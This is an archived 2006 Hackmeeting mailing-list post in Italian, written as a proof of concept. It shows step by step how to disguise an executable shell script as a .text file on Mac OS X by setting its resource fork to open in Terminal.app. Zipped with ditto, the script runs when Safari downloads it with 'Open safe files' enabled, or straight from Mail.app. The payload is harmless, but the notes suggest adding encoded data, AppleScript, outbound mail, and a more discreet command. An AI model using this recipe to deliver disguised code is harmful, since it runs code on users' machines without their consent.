[<--] Indice [-->]

From cybergio <cybergio@autistici.org>
Date Thu, 23 Feb 2006 12:05:04 +0100
Subject [Hackmeeting] zip zap zop [...] osx e i file zip

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


* premesso che:

$ echo $SHELL
/bin/bash

e

$ uname -a
Darwin io.local 8.5.0 Darwin Kernel Version 8.5.0: Sun Jan 22  
10:38:46 PST 2006; root:xnu-792.6.61.obj~1/RELEASE_PPC Power  
Macintosh powerpc


* si può avere:

creo uno script e gli attribuisco i permessi di esecuzione

$ cat << EOF > la_compagnia_dei_celestini.text
 > echo "utente! grazie per eseguire al mio posto e senza la tua  
volontà operazioni noiose"
 > f_ip=0; echo -n \$f_ip\,\ ; f_i=1; echo -n \$f_i; for ((i=2;i<=37;i 
++)); do f_in=\$((\$f_i+\$f_ip)); f_ip=\$f_i; f_i=\$f_in; echo -n \,\  
\$f_in; done; echo
 > EOF
$ chmod +x la_compagnia_dei_celestini.text
$ ls -l la_compagnia_dei_celestini.text
- -rwxr-xr-x   1 antani  antani  239 Feb 23 00:00  
la_compagnia_dei_celestini.text
$ ls -l la_compagnia_dei_celestini.text/rsrc
- -rwxr-xr-x   1 antani  antani  0 Feb 23 00:00  
la_compagnia_dei_celestini.text/rsrc
$ open .

utilizzando Finder.app, seleziono il file  
la_compagnia_dei_celestini.text, premo mela-i, su `Open with:`  
imposto Terminal.app ed ottengo:

$ ls -l la_compagnia_dei_celestini.text/rsrc
- -rwxr-xr-x   1 antani  antani  1338 Feb 23 00:00  
la_compagnia_dei_celestini.text/rsrc

creo il file zip con il comando ditto (l'opzione --rsrc non è  
necessaria, viena utilizzata di default)

$ ditto -c -k la_compagnia_dei_celestini.text  
la_compagnia_dei_celestini.text.zip
$ unzip -l la_compagnia_dei_celestini.text.zip
Archive:  la_compagnia_dei_celestini.text.zip
   Length     Date   Time    Name
- --------    ----   ----    ----
       239  02-23-06 00:00   la_compagnia_dei_celestini.text
      1420  02-23-06 00:00   ._la_compagnia_dei_celestini.text
- --------                   -------
      1659                   2 files

oppure, usando l'opzione --sequesterRsrc:

$ ditto --sequesterRsrc -c -k la_compagnia_dei_celestini.text  
la_compagnia_dei_celestini.text.zip
$ unzip -l la_compagnia_dei_celestini.text.zip
Archive:  la_compagnia_dei_celestini.text.zip
   Length     Date   Time    Name
- --------    ----   ----    ----
       239  02-23-06 00:00   la_compagnia_dei_celestini.text
         0  02-23-06 00:00   __MACOSX/
      1420  02-23-06 00:00   __MACOSX/._la_compagnia_dei_celestini.text
- --------                   -------
      1659                   3 files

in Safari.app basterà abilitare l'opzione `Open safe files after  
downloading`.
prelevando il file .zip verrà eseguito il codice contenuto nello script.
per far eseguire lo script in Mail.app non è necessario creare  
l'archivio zip.


* note:

credo che il tutto funzioni anche su mac os x 10.3.x, almeno la  
creazione del file .zip

nello script si possono mettere un sacco di cose carine, dati  
codificati in uuencode o base64, applescript da eseguire con il  
comando osascript, invio di posta tramite postfix (di solito  
abilitato), etc.

il codice viene eseguito grazie a Terminal.app, il suo riferimento è  
contenuto nel file ._la_compagnia_dei_celestini.text

$ hexdump -Cv cat la_compagnia_dei_celestini.text/rsrc | less

oppure:

$ unzip -p la_compagnia_dei_celestini.text.zip -x  
la_compagnia_dei_celestini.text | hexdump -Cv | less

forse, modificando il comando si potrà ottenere qualcosa di più  
discreto.

per modificare i resource fork via linea di comando utilizzate il  
pacchetto osxutils ( uri :: http://osxutils.sourceforge.net/ ),  
presente anche in darwinports ( http://darwinports.org/ ) e fink  
( uri :: http://fink.sourceforge.net/ ).

bye :: -automatismi +consapevolezza

- --
cybergio



-----BEGIN PGP SIGNATURE-----

iD8DBQFD/Zbkruybgs3tkSkRAotbAKCFsTYN3e76WaiSWoJC9ZAbKUcWBACaA6bZ
iGetIYEsZMq3GaQ3D5lu69M=
=jsAu
-----END PGP SIGNATURE-----
_______________________________________________
Hackmeeting mailing list
Hackmeeting@inventati.org
https://www3.autistici.org/mailman/listinfo/hackmeeting

[<--] Indice [-->]